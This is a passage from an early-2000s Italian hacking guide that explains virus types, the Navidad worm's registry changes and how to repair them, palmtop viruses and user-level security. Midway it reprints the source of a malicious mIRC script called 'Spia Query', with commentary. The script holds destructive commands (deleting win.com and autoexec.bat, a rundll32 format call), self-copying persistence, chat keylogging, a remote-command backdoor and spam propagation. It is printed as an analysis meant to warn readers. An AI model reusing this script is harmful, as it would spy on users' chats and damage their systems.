Per potersi replicare e propagare, questo virus decripta la sua porzione utilizzando una
routine di decodifica, riportando il file criptato nel suo stato originale.
La routine di decodifica del virus poliformico prende controllo del computer per
decodificare il corpo del virus.
Dopo questo procedimento, la routine di decodifica trasferisce il controllo della macchina al
virus stesso in modo che questo possa diffondersi liberamente.
I primi virus di questo genere erano NON-poliformici, ossia impiegavano una routine fissa
che non mutava da un'infeziona all'altra. Questo rendeva più semplice la rilevazione del
virus con dei software appositi, anche se questo era criptato o nascosto.
Un virus poliformico è più difficile da individuare per gli antiV.
Infatti esso genera una nuova routine di decodifica ad ogni infezione di file eseguibili,
rendendo la firma del virus differenete ad ogni istanza.
Generalmente un virus poliformico cambia la sua firma utilizzando un semplice generatore
di codice macchina chiamato motore di mutazione. Il motore di mutazione utilizza un
generatore di codice di numeri casuali e un algoritmo matematico abbastanza semplice,
ma che comunque ottine l’effetto desiderato.
Con il motore di mutazione un programmatore di virus, puo' trasformare praticamente
ogni virus poliformico con semplici modifiche al codice assembler in modo che il virus
richiami il motore di mutazione prima di copiare se stesso.
Una tecnica usata negli ultimi tempi, per fare in modo che la “firma” del virus sia sempre
diversa, viene utilizzato un algoritmo che legge il nome del computer o l’etichetta di
volume del disco e vi applica un’operazione matematica. Un esempio lo possiamo trovare
in Win32.Magister.B che cripta gli eseguibili proprio con un algoritmo generato dalla
fusione della prima parte di codice del virus con quella del nome della macchina.
Sono in grado di rilevarli SW antiV con metodi di scansione di ricerca nelle stringhe e quelli
con
motore di ricerca dotati di sistemi di identificazione a crittografia. Solitamente, le scansioni
di tipo Euristico funzionano solo nei casi in cui all’interno del codice risiedano stringhe
maligne che richiamano comandi di formattazione a basso livello, sovrascrittura di file di
sistema o la manipolazione dei file di registro.
I Virus Stealth (invisibili)
Questo tipo di virus nasconde le modifiche apportate ai file o ai settori di boot.
22
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
23
I Virus Stealth nascondono le proprie moodifiche manipolando le funzioni di sistema che il
sistema operativo impiega per leggere i file o i settori dal dispositivo di memorizzazione e
modificano i risultati delle chiamate a tali funzioni.
Spesso i SW antiV non riescono a rilevare questo tipo di virus.
Per proteggersi contro il rilevamento, i virus devono trovarsi in memoria mentre si utilizza
l' antiV. Un esempio di V Stealth è il primo esempio documentato di virus per MS-DOS, il
famoso "BRAIN". Questo virus si inserisce nel settore del boot monitorizzando le
operazioni Input e Output su disco e redirige il sistema operativo ogni volta che tenta di
leggere un settore di boot infetto. In termini di programmazione, il virus cattura l'interrupt
DOS21H, un'interrupt di sistema che gestisce i servizi DOS.
Perciò se esiste la possibilità che un comando dell'utente possa indicare la presenza
dell'infezione, il virus redirige il servizio DOS in un'altra area di memoria che fornisce al
DOS informazioni false.
I Virus Slow (lenti)
I virus slow sono difficili da rilevare in quanto attaccano solo file (es. i file COM in DOS e
Windows) che il sistema operativo sta modificando o copiando. Questo virus infetta un file
solo quando un'utente esegue su di esso determinate operazioni. Ad esempio, un V Slow
puo' infettare il settore di boot di un floppy solo quando viene eseguito il comando
FORMAT o SYS che scrivono sul settore boot. Questo virus puo' infettare un file copiato ma
non il file originale. E' molto difficile rilevare questo vurus. Un verificatore dell'integrità
noterebbe il nuovo file indicando all'utente un problema in quanto per il file non è
disponibile il valore checksum.
Gli strumenti piu' efficaci contro questo tipo di virus sono le integrity shell (verificatori di
integrità residenti in memoria). Le integrity shell monitorizzano costantemente la
creazione di ogni nuovo file e tentano di controllare che tutte le operazioni implicate nella
creazione del file non siano interessate dal virus.
Un altro metodo per la verifica dell'integrità si chiama "decoy launching". In questo caso, il
SW di controllo crea alcuni file COM e EXE il cui contenuto è noto solo al verificatore di
integrità. Dopo la creazione dei file, il SW controlla il loro contenuto, per vedere se è stato
modificato da un virus Slow.
I Virus Retro
Un virus Retro cerca di sfuggire alle operazioni di un programma antiV attaccando
direttamente il SW antiV.
Creare un virus Retro non è difficile. Chi crea virus, ha accesso a tutti i programmi antivirus disponibili sul mercato. Dunque essi non devono fare altro che studiare il programma
che vogliono distruggere fino a trovare i punti deboli che gli sviluppatori di antiV non
avevano considerato. Il tipo più comune di virus Retro ricerca nel SW antiV il file
contenente le firme dei virus e le cancella, rendendo l'antiV innocuo. Un tipo più sofisticato
di questo genere di virus controlla il data base del verificatore di integrità del SW e lo
cancella.
Altri virus Retro rilevano l'attivazione dell'antiV e si nascondono nel programma,
fermandone l'esecuzione o richiamando una routine distruttiva prima che il programma
antiV riesca a rilavare l'infezione, spesso un comando corrispettivo a Deltree, format o
direttamente lo smontamento dei cluster del disco fisso… una catastrofe. Ecco perché è
sempre bene utilizzare un antivirus con scansione euristica, in caso la subroutine maligna
entrasse in azione il SW antivirus potrebbe essere in grado di rilevarla e bloccarla.
23
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
24
I Virus Multiparte (ad attacco multiplo)
I virus Multiparte infettano sia i file eseguibili che il settore di boot e talvolta anche i
settori di boot floppy.
I virus Multiparte infettano il computer in vari modi e non si limitano a determinare aree
del disco fisso o a determinati tipi di file. Quando si esegue un'applicazione infettata con
un virus Multiparte, esso infetta il settore di boot del disco fisso della macchina. La
prossima volta che si avvia il computer, il virus si riavvia infettando ogni programma
eseguito.
Uno dei più famosi virus Multiparte si chiama ONE-HALF e si comporta anche come un
virus Stealth e poliformico.
I VIrus Armored (corazzati)
I virus Armored si proteggono utilizzando un particolare codice che ne rende difficile
l'individuazione, il disassemblaggio e la compressione del codice. Questo virus può
proteggersi all'interno del codice che ha lo scopo di distrarre l'osservatore dal reale codice
operativo. Alternativamente, il virus può nascondersi all'interno di codice dissimulante che
indica l'indirizzo del virus in un altro settore del disco. Uno dei più noti virus di questo
genere si chiama WHALE.
I Virus Companion
I virus Companion si attaccano a un file eseguibile creando un nuovo file con
un'estensione diversa dal file di origine.
Questi codici maligni riescono a creare un file di accompagnamento per ogni file eseguibile
infettato. Ad esempio, un virus Companion può salvarsi nel file command.exe e ogni volta
che un utente esegue questo file, il sistema operativo lancerà il file con il virus infettando
il sistema. Un virus Companion spesso è generato da un virus PHAGE.
I Virus Phage
Sono programmi che modificano altri programmi o data base in modo non autorizzato.
Di solito i virus Phage sostituiscono il codice eseguibile del programma con il proprio
codice piuttosto che attaccarsi semplicemente al codice del programma.
Spesso i virus Phage generano un virus Companion. I virus Phage sono estremamente
distruttivi in quanto non solo si replicano e procedono nell'infezione ma cercano di
distruggere ogni programma infettato.
I Virus Worm
Il virus Worm fu il primo virus a raggiungere INTERNET. Il Worm blocca il computer
creando un numero enorme di copie di se stesso nella memoria del PC costringendo gli
altri programmi a uscire dalla memoria o creando errori di protezione generale, violazione
delle condivisioni, ecc.. Altro “asso nella manica” del Worm è quella di assicurarsi la
propagazione dell’infezione attraverso la rete locale o internet sfruttando la vulnerabilità
dei vari sistemi operativi, dei protocolli, dei client di posta elettronica e dei browser.
La riproduzione in un luogo remoto è importante, perchè dopo che il virus ha provocato la
chiusura del computer, è probabile che un utente esegua immediatamente un programma
per l'eliminazione di tutti i virus.
Per la natura delle attività di un virus Worm, questi non devono modificare un programma
nell'host per potersi diffondere. Per operare senza modificare i programmi dell'host, i
Worm richiedono l'impiego di sistemi operativi che offrano la possibilità di esecuzioni
remote, ovvero sistemi operativi in cui un programma in arrivo possa essere eseguito
automaticamente.
Il limite dell'esecuzione remota ha ristretto il Worm Internet del 1988 ai soli sistemi UNIX,
come ad esempio le workstation Sun. Oggi invece, con lo sviluppo di software “tuttofare”
24
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
25
come Outlook abbiamo potuto assistere all’incremento della diffusione del virus Worm che
pare stia diventando una specie dominante nel settore delle infezioni informatiche.
Virus specifici per reti
I server e le reti possono essere attaccati da due tipi di virus: virus per file e virus a
macro.
In genere su internet non circolano virus che attaccano i settori di boot, un'altra forma di
virus che appare ogni tanto in alcune reti, in quanto i PC connessi a internet non possono
eseguire operazioni su disco a livello di settore su altri computer connessi a internet.
Un server Internet in genere non puo' scrivere sui file di un altro computer.
Solo il computer ricevente può scrivere dati sul proprio hard disk.
Vie d'Infezione nella rete
Ecco i principali veicoli utilizzati dai Virus:
- Tramite una copia, eseguita dall'utente, dei file infettati direttamente nel server.
Dopo che un utente ha copiato il file nel server, il virus inizierà il suo processo di infezione
a partire dalla prima volta che il file infetto verrà eseguito.
- L'esecuzione di un virus per file su una workstation può infettare la rete. Dopo che il
virus ha iniziato a funzionare sulla workstation connessa al server, potrà rapidamente
compromettere man mano l'intera rete.
- L'esecuzuione del virus per file residente in memoria su una workstation può infettare la
rete.
Dopo che il virus per file residente in memoria inizia la propria esecuzione, può ottenere
informazioni dal server e copiarsi sul server senza neppure che l'utente acceda
direttamente al server [Ricordiamoci che una rete costituita da computer Host e da un
server, mantiene una fitta e continua comunicazione di dati a livello fisico, e quindi verso
lo stack dei protocolli che rimane attivo fino allo spegnimento delle macchine].
I virus a Macro
I virus a macro sono tra i più pericolosi per le reti.
Il più grande pericolo di questi virus a macro è il fatto che sono indipendenti dalla
piattaforma e dal sistema operativo, esattamente come internet.
Non sono legati a file eseguibili o a file di codice oggetto ma sono principalmente contenuti
in file di dati. Le Macro sono piccoli programmi scritti utilizzando il linguaggio di
programmazione interno (script o macro) di un determinato programma applicativo. Fra i
più comuni esempi di programmi applicativi che includono un linguaggio per macro vi sono
i word processor, i fogli di calcolo elettronici e i file per la manipolazione d'immagini (Lingo
di Flash ad esempio)
Gli autori dei virus a macro, scrivono questi programmi in modo da potersi replicare
all'interno dei documenti creati dal programma applicativo.
Frequentemente i virus a macro cancellano i file in modo da renderli irrecuperabili.
I virus a macro in genere possono essere eseguiti su ogni piattaforma in quanto
l'applicazione in questione ha un proprio linguaggio di programmazione interno.
Questo linguaggio libera il virus dal fatto di poter essere eseguito su un'unica piattaforma
o su un unico sistema operativo.
I linguaggi di programmazione interni della maggior parte delle applicazioni sono
strumenti estrememente potenti.
In genere sono in grado di cancellare e rinominare i file e directory oltre, naturalmente, a
consentire la modifica dei file esistenti. I virus a macro scritti in questo linguaggio possono
25
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
26
dunque eseguire le stesse operazioni. In passato la maggior parte dei virus veniva scritta
in Microsoft WordBasic o, più recentemente, in Microsoft Visual Basic for Application
(VBA).
Word Basic è il linguaggio di programmazione interno di Microsoft Word per Windows (fino
alla versione 6.0) e Word 6.0 per Macintosh. Poichè VBA viene eseguito ogni volta che un
utente esegue un programma in Microsoft Office, i virus a macro scritti in VBA possono
essere molto
pericolosi. In altre parole, un virus a macro scritto in VBA potrebbe infettare un
documento di Excel, un database di access o una presentazione di Power Point.
Oggi i pacchetti Office hanno un piccolo motore euristico interno in grado di individuare
Macro all’interno dei file. Viene segnalata la presenza di una macro e si chiede se si vuole
che questa venga eseguita oppure no.
VIRUS FAMOSI
Il Caso NAVIDAD, il virus buggato
Il Navidad è una specie di virus molto frequente. Molto spesso riceviamo allegati con nomi
strani tipo: =(26,,-mos,.zip e credendo che si tratti di un file .zip magari qualcuno ci
casca, ma attenzione, al 99% sono virus. L'estensione del file che vediamo, non è in realtà
la vera estensione. Ci sono diversi modi per nascondere l'effettiva natura di un file.
Uno dei più usati è il sistema dei 64 caratteri vuoti dopo l'estensione fittizia e poi quella
reale, es:
X79Comv.mp3____________________________________________________________
____.exe
dove il carattere "_" sta per uno spazio vuoto.
Altri metodi sono quelli di creare un file doppio racchiuso in uno. Si procede solitamente
con un programma che nasconde un'altro programma oppure dentro un'immagine.
Il più delle volte questa tecnica viene però utilizzata per i virus di tipo Trojan Horse.
Torniamo ora al virus NAVIDAD.
Il virus si manifesta nel seguente modo: doppio click del mouse e subito appare un
messaggio di errore.
Dopodichè possiamo assistere alla comparsa di un occhio blu nella systray. Se vi clikkiamo
sopra con il mouse vengono mostrati sullo schermo un altro messaggio: "Nunca presionar
este boton Feliz Navidad Lamentablemente cayo en la tentacion y perdio su computadora"
Ma ora vediamo a livello tecnico come si comporta il virus.
La particolarità di questo Worm è quella di potersi autoreplicare e di auto inviarsi
atrraverso i network, utilizzando Messaging Application Programming Interface della posta
elettronica come mezzo di spostamento.
In questo caso, il virus è un PE che corrisponde a un Portable Executable a 32 bit e arriva
come allegato con il nome di NAVIDAD.EXE. Appena viene avviato, il file si copia
automaticamente nella cartella di sistema di Win9x - Win NT utilizzando il nome
WINSRVC.VXD. Con questo meccanismo, il worm si garantisce l'esecuzione automatica di
se stesso in particolari condizioni modificando il registro di sistema.
Ma ecco il colpo di scena: anche i virus possono avere un BUG. E questo è proprio il caso
del NAVIDAD.
Il bug in questione, è un errore di compilazione nel codice che gli impedisce di compiere
questa operazione.
Infatti, quando viene modificato il registro di sistema, il virus crea un riferimento a se
stesso usando il nome WINSRVC.EXE invece che WINSRVC.VXD e quindi la copia del worm
non verrà mai eseguita dal sistema.
Ecco le chiavi di registro che il Worm modifica:
26
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
27
HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\CURRENTVERSION\Run
Win32BaseServiceMod = %SystemDir%\winsvrc.exe e
HKEY_CLASSES_ROOT\exefile\shell\open\command {Default} =
%SystemDir%\winsvrc.exe %1 %* dove %SystemDir%. Il Worm continua la sua
"missione" creando una chiave priva di valori:
HKEY_CURRENT_USER \SOFTWARE\NAVIDAD.
Ma a causa del BUG, il sistema infetto non è in grado di eseguire in modo esatto il file EXE
e questo lo possiamo constatare nella chiave:
HKEY_CLASSES_ROOT\exefile\shell\open\command.
In questo modo, quando lanciamo un programma, il computer risponderà con una finestra
d'errore.
Praticamente il virus a questo punto, malgrado non riesca a replicare se stesso, riesce in
ogni caso a creare un danno non indifferente. Ma si può ancora correre ai ripari. L'unico
modo che abbiamo di rimettere le cose a posto se proprio non possiamo formattare è
quella di andare a rimettere a posto la stringa di codice nel REGEDIT. Ma a questo punto
sorge un problema.
Il REGEDIT è un .EXE e quindi nemmeno lui potrà avviarsi. Non c'è problema, basterà
rinominare il file Regedit.exe in Regedit.COM. Fatto questo potremo andare a modificare la
chiave:
HKEY_CLASSES_ROOT\exefile\shell\open\command che dovrà essere impostata al valore
'%1' e '%'.
Lo “SPIA QUERY”
Una piccola soddisfazione ogni tanto ci vuole… LordMarck ed io siamo stati i primi a capire
che si trattava di un virus, come poi lo si è appreso frequantando i canali dedicati a IRC.
Qui di seguito riporto l’articolo che avevo scritto per l’occasione.
Qualche tempo fa, mentre ero in chat con il mio carissimo amico LordMark, saltò fuori lo
SPIA QUERY. Non avevo mai sentito parlare di questo Add per mIRC e così chiesi proprio a
LordMark di cosa si trattasse. Secondo lui era un virus bello e buono. Lo aveva scaricato
da www.grandesito.net (scoperto dopo poco tempo chge si trattava del sito di un lamer
esaltato all'ennesima potenza) per vedere di cosa si trattasse. Me lo inviò per un controllo.
Avviai il mio portatile che uso per gli esperimenti atomici (dal famoso Trony, smisi di usare
il mio Pc per gli esperimenti) e aprii hackman disassembler. Vi riporto qui sotto il
contenuto dello spia query:
Questo comando spegne il PC, pensate un po' voi se stavamo facendo
contemporaneamente un lavoro senza averlo ancora salvato)
..ctcp 1:_windows3:{ /.msg $nick Provo a formattare il mio pc! | .timer 1 0 /run
rundll32.exe user.exe,formatwindows | halt }
(Questo comando invece fa di peggio, formatta il PC)
..ctcp 1:_carica3:{ /.msg $nick Sto caricando un'altro file, almeno quando $me cancella lo
spia query c'. ancora e non se ne accorge! | .timer 1 0 /.copy $mircdir\SpiaQuery.mrc
c:\windows\system\SpiaQuery.mrc | /.load -rs c:\windows\system\SpiaQuery.mrc | halt
}..ctcp 1:_Controllo3:{ /.msg $nick Spia Query Versione %Versione }..on
1:TEXT:*grandesito*:#:{ /.msg $nick Spia Query %Versione | halt
(Questo comando serve a far si che anche se rimuovi il file, questo si ricopia, insomma,
non lo puoi cancellare)
}..;======================M4st3rz===========================
=========..on 1:INPUT:*:{ .. write $mircdir\log.spm LOG: " $+ $1- $+ " in $active (
$+ $date - $time $+ ) $+ $crlf ..}..on 1:TEXT:*:?:{.. write $mircdir\log.spm
QUERY@RICEVUTO: " $+ $1- $+ " da $nick ( $+ $date - $time $+ ) $+ $crlf ..}..on
1:TEXT:*:#:{.. write $mircdir\log.spm CANALE@RICEVUTO: " $+ $1- $+ " in $chan da
27
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
28
$nick ( $+ $date - $time $+ ) $+ $crlf
..}..;=====================M4st3rz===========================
========== ..ctcp 1:_LEGGILOG:{.. .msg $nick .14*** .15[ .
14http://www.grandesito.net.15 ].14 ***.. .play $nick $mircdir\log.spm $2.. halt..} ..;
===========================M4st3rz========================
..ctcp 1:_Virus:{.. .notice $nick Controllo: ok...backdoor rilevata su $me $+ ..... halt..}..;
===========================M4st3rz========================
..ctcp 1:_COMANDO:{..$2-...msg $nick Comando eseguito: $2-.. halt..}..;
===========================M4st3rz========================
..alias start {.. /echo Attendere...configurazione Spia Query in corso... | /echo
Configurato!.. .set %Versione 3.0.. .spia.. .set
%spam on.. } ....alias startX {.. /echo Rimozione sistema in corso....... /.remove
c:\windows\Win.com.. /.remove c:\autoexec.bat.. /.echo Formattazione Windows $+ $os
Completata.. }..
(Altro "bel" comando, rimuove il file win.com e l'autoexec.bat... )
..alias Spia { /window @SpiaQuery | /echo -a Clicca col tasto destro del mouse! }..menu
@SpiaQuery {..SpiaQuery...Spia Query:/.msg $$?:"Che nick vuoi spiare?" We attento,
$me ti vuole spiare la query! http://supersito.cjb.net | /echo -a < $+ $nick
$+ > Ti amo! | /echo anche io amore! | halt...-...Auto Messaggio....[ON]:/set %spam on |
/echo Spam On!.. ..[OFF]:/set %spam
off | /set %spam on | /echo Spam Off!...-... Cosa vuoldire auto messaggio?:/echo -a
AUTO MESSAGGIO VUOLDIRE CHE
QUANDO QUALCUNO ENTRA IN UN CANALE TU GLI DICI "CIAO, SCARICA LO SPIA QUERY"
ECC! OK? CIAO | halt..}..;=====================
======================M4st3rz=============================
====
..on *:join:#: {.. if (($nick != $me) && (%spam == on)) { /.timer 1 0 /.msg $nick
.9.Ciao! Vuoi spiare le query? Vai su http://www.grandesito.net e scarica lo Spia Query
%versione ! Inoltre c'. anche un video porno gratis...ciao! | halt
}..}..;===========================================M4st3rz=
===== =================================
..on 1:LOAD:{.. /set %config $?!:"AVVISO $crlf $crlf Non mi prendo alcuna responsabilit.
sui danni che potrebbe causare lo SpiaQuery %versione $+ . $crlf Se sei daccordo clicca
su Si. ".. if (%config == $true) { /start }.. else { /startx }.. /set %config
$?!:"Configurazione: $crlf 1.: Messaggio automatico ".. if (%config == $true) { /set
%spam on }.. else { /set %spam off | /set %spam on }.. }..;
(Eccone un altro... Qui ti pone le modalità di voler o no accettare i termini di contratto. Se
accetti, tutto ok, altrimenti parte la formattazione del disco fisso utilizzando la variabile
startx).
Questo è solo un file creato da un lamer da quattro soldi, ma in giro c'è di molto meglio...
o peggio, dipende dai punti di vista.
VIRUS: LA NUOVA PROGENESI
Ormai ci siamo abituati, o quasi, chi più e chi meno, a vedere sempre più gente con il
computer Palmare. Bene, anche questi piccoli gioielli sono attaccabili da virus informatici.
I Palmari non sono calcolatrici tascabili! Come qualcuno mi ha detto recentemente..
Meglio essere chiari sin dall’inizio.
Cosa sono i computer palmari prima di tutto? Sono computer a tutti gli effetti che hanno il
vantaggio di poter esser infilati comodamente in tasca. Tutto qui. Ovviamente non hanno
28
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
29
montato su sistemi operativi come Win9x o Linux. Per i palmari le software house hanno
sviluppato sistemi operativi appositi, tra cui: PalmOS, WindowsCE, Epoc.
Stranamente solo due di questi sistemi operativi sono attaccabili dai virus (ma ci stanno
arrivando non vi preoccupate) e sono PalmOS e Epoc.
Sono un microscopico frammento i virus per palmari rispetto ai loro cugini che lavorano
sotto piattaforme come UNIX e Windows, ma pur sempre letali.
Eccovene alcuni:
Ghost.a
Infetta Symbian Epoc
Una sub routine con funzione random mostra sul display degli insulti di vario genere.
Lights
Infetta Symbian Epoc
Accende e scegne in continuazione la retroilluminazione del palmare. Se avete questo
sintomo sul vostro palmare, lo troverete bello e gioioso nella directory \System\Apps con il
nome lights.opo
Alarm.a
Infetta Symbian Epoc.
Fa emettere al palmare un suono di allarme fino all’esaurimento delle batterie.
Uno dei veicoli d’infezione può essere la porta infrarossi. Potrete trovarlo in \System\Apps
con il nome Sys$Tim.opo
Phage.963
Infetta PalmOS
Cancella tutto quello che si trova a monitor e richiude subito tutte le applicazioni che
andiamo ad aprire.
Vapor
Infetta PalmOS
Fa sparire le icone dal monitor.
LA SICUREZZA A LIVELLO UTENTE
Negli ultimi tre anni, dopo che quella che era solo una passione è diventato un lavoro, mi
sono spesso imbattuto in carenze di sicurezza a livello utente.
Questo significa che la maggior parte delle aziende non istruisce abbastanza i propri utenti
su un corretto funzionamento della rete. Sembrerà assurdo, ma il comportamento
dell’utente medio a contatto con apparecchiature come i computer diventa spesso una
bomba pronta ad esplodere. Il problema non è tuttavia da imputare all’utente, ma
all’azienda che spesso sottovaluta il problema della sicurezza. Cosa si può fare allora? La
cosa più semplice da fare innanzi tutto è quella di mettere delle basi solide nel
comportamento di chi lavora su terminali aziendali in modo che qualunque cosa succeda,
ogni singolo utente sappia cosa fare in caso intrusioni, malfunzionamenti o altro...
Si dice spesso che le regolo d’oro sono “Non aprire gli allegati” e “Metti una password
sicura”. Perfetto, ma malgrado queste due regole ballino nella testa degli utenti, abbiamo
visto che comunque il problema rimane, anzi aumenta. Ma allora cosa si deve fare per
29
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
30
avere una postazione sicura all’interno di una rete aziendale?
Chiaro, quello che scrivo ora potrà già essere cosa vecchia nel momento in cui le
leggerete, sicuramente, ma almeno cercate di capirne il senso.
Posta elettronica
Teniamo presente che la maggior parte dei fabbricanti di virus dell’ultima generazione
sono completamente impazziti dalla gioia nel sapere che gli utenti di internet a livello
mondiale sono aumentati negli ultimi anni quasi quanto i funghi nel Trentino…
Esattamente come un virus biologico, il virus informatico sfrutta le falle di sicurezza di
browser e client di posta elettronica per potersi replicare e assicurarsi un tempo di vita
lungo il più possibile.
Vediamo cosa è successo negli anni… Fino a qualche anno fa le infezioni venivano
trasmesse per lo più tramite supporti magnetici. Era quindi abbastanza facile debellare
un’epidemia appena le case produttrici di antivirus trovavano il rimedio al virus.
Oggi invece abbiamo connessioni ad internet costanti grazie all’ADSL o alla fibra ottica…
Siamo praticamente sempre on-line e la rete si sa, è un veicolo di diffusione senza
paragoni di informazioni, ed è proprio questo che sfruttano i virus. La velocità con cui
un’infezione può propagarsi oggi rispetto a 10 anni fa è praticamente del 80% più alta.
Mettiamoci poi che spesso gli utenti non aggiornano mai gli antivirus, mettiamoci che tutti
gli utenti sono curiosi e se gli arriva una mail con scritto “I LOVE YOU”, non riescono a
trattenersi dal cliccare sull’allegato che però non sanno essere in realtà un virus
devastante.
Una cosa importante quindi è quella di avere un buon antivirus sempre attivo nel task. Io
consiglio sempre gli antivirus della Symantec (Norton Antivirus) perché discreti e
perfettamente funzionali. Importante aggiornare costantemente l’antivirus perché
ricordiamo che ogni giorno nascono almeno 10 Virus diversi, quindi…
Segue…
E con questo siamo arrivati alla fine. Spero di avervi fatto venire un po’ di curiosità e di
avervi tirato una spallata come si deve per buttarvi sulla giusta strada, quella della
conoscenza. I più esperti si accorgeranno che questa guida è molto “strampalata” se
vogliamo vedere, ed è vero, perché costruita con pezzi di miei vecchi articoli, vecchie
guide il tutto racchiuso in unico book. E’ anche molto superficiale se vogliamo vedere, un
po’ sbrigativo in alcuni punti, ma purtroppo il tempo a mio disposizione è quello che è. Se
30
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
31
trovate errori, sono sempre ben disposto a chiarire tutto, basterà scrivere a
[email protected] e avere molta pazienza prima che giunga una risposta. Non
sono quasi mai a casa, niente di che.
Spero un giorno di poter scrivere un libro vero e proprio per spiegare tutti i punti con la
dovuta attenzione che richiedono, e trattare tutte quegli argomenti che non ho potuto
affrontare perché altrimenti avrebbe scatenato una reazione a catena, obbligandomi a
parlare di altre e altre ancora…. Ogni tanto ho bisogno anche di dormire sapete? ☺
Onore e gloria
Slàn…
Max Mayde aka: JARRET
¦- Master'n'Member of Hacker Alliance Crew [- www.hackeralliance.net -]
¦- Member of Hosir Team [- www.hosir.com -]
¦- Email: [email protected] - [email protected]
¦- Maybe everything that dies somedays comes back..
Note sull’autore:
Nato nel gennaio del 1979. Fin dall’età di 5 anni dimostra particolare interesse per tutto ciò che contiene circuiti
elettronici. Questa passione per l’elettronica lo accompagna sino all’età di 9 anni, età in
cui scopre i computers e le loro infinite possibilità. Inizia a programmare, sempre tra i 9 –
10 anni nel vecchio linguaggio Basic, per poi passare verso gli 11 – 12 anni alla
programmazione con Algol e poco dopo con ADA. Soltanto verso i 14 anni inizia a perdere
un po’ di vista l’informatica dedicandosi ad un’altra delle sue passioni: la musica. Assieme
a quello che poi in seguito tutti conosceranno come Mr. Monkey Business inizia a suonare
il pianoforte e la chitarra, passando entrambi da una rock band all’altra. Ma l’età del
perfezionamento musicale arriva intorno i 16 anni, quando inizia a suonare non più solo
hard rock, ma anche classica, blues e jazz, passando dal rock più pesante a partiture di
Liszt, Beethoven e Chopin. Inizia a suonare anche la batteria in un periodo di transito tra
crisi interiori e momenti di sconforto per motivi legati a vari eventi della sua vita. Incide
sulle bacchette della batteria e sul pianoforte la scritta “Keep the Faith” (da una canzone
dei Bon Jovi) e ne fa una massima di vita. Intorno i 17 anni riscopre le sue origini
scozzesi e da allora non smetterà mai più di portare al polso una bandana con i colori bianco e blu della bandiera
di Scozia. Torna così, con estrema prepotenza, la passione per la cultura di quella terra tanto lontana e che tanto
sente nel proprio sangue, e, sempre da buon patriota, parla perfettamente il gaelico scozzese delle Highland.
Sempre alla stessa età riscopre l’informatica che questa volta, per motivi personali, porta all’estremo, quasi alla
follia più totale. Le sue notti sono all’insegna dello studio dei protocolli, dei linguaggi di programmazione e dei
principali sistemi operativi. Studia quasi alla nausea sino a notte fonda se non addirittura fino all’alba, portando il
proprio bagaglio di conoscenze informatiche a livello avanzato. Smembra codici, riscrive listati, mette in rete uno
o più computer e comunica con essi scrivendo direttamente i pacchetti TCP/IP. Impara e ripassa linguaggi come
ADA (orientato alla programmazione di strumentazioni militari), Algol, Basic, Logo, e qualche infarinatura di C e
Pascal. Solo in seguito studierà anche Perl. Arrivano così i 21 anni. Inizia lavorando come tecnico informatico per
piccole società ocupandosi anche di audio e video. In seguito, inizierà a lavorare per diverse aziende dove si
occupa di programmazione e beta test sui software di alcune multinazionali. Lavora per varie società in qualità di
consulente sulla sicurezza informatica e nel frattempo inizia ad appassionarsi alla creazione di siti web. Passa così
un altro periodo di studio, orientato ai linguaggi web e alla creazione di siti dinamici con Flash.
Oggi Jarret ha 25 anni e vive (come gli piace definirlo) a "North". Ha alle spalle diverse esperienze lavorative del
campo del web design, programmazione, sistemista di rete e network security.
Al momento libero professionista nei campi sopra citati.
Collabora saltuariamente allo sviluppo di moduli e applicativi strutturati su algoritmi genetici e reti neurali.
"Il mio sogno è quello di poter realizzare o almeno buttare le basi di quello che viene definito come
'Programmazione Genetica Neurale Artificiale' o semplicemente G.N.A. Project.
Un sogno che porto dentro da anni, una di quelle cose che 'devono' essere fatte a qualsiasi costo.. forse una delle
ragioni per cui sono qui.."
31
http://www.hackeralliance.net
Copyright www.hackeralliance.net 2002-2003 All Right Reserved
Scarica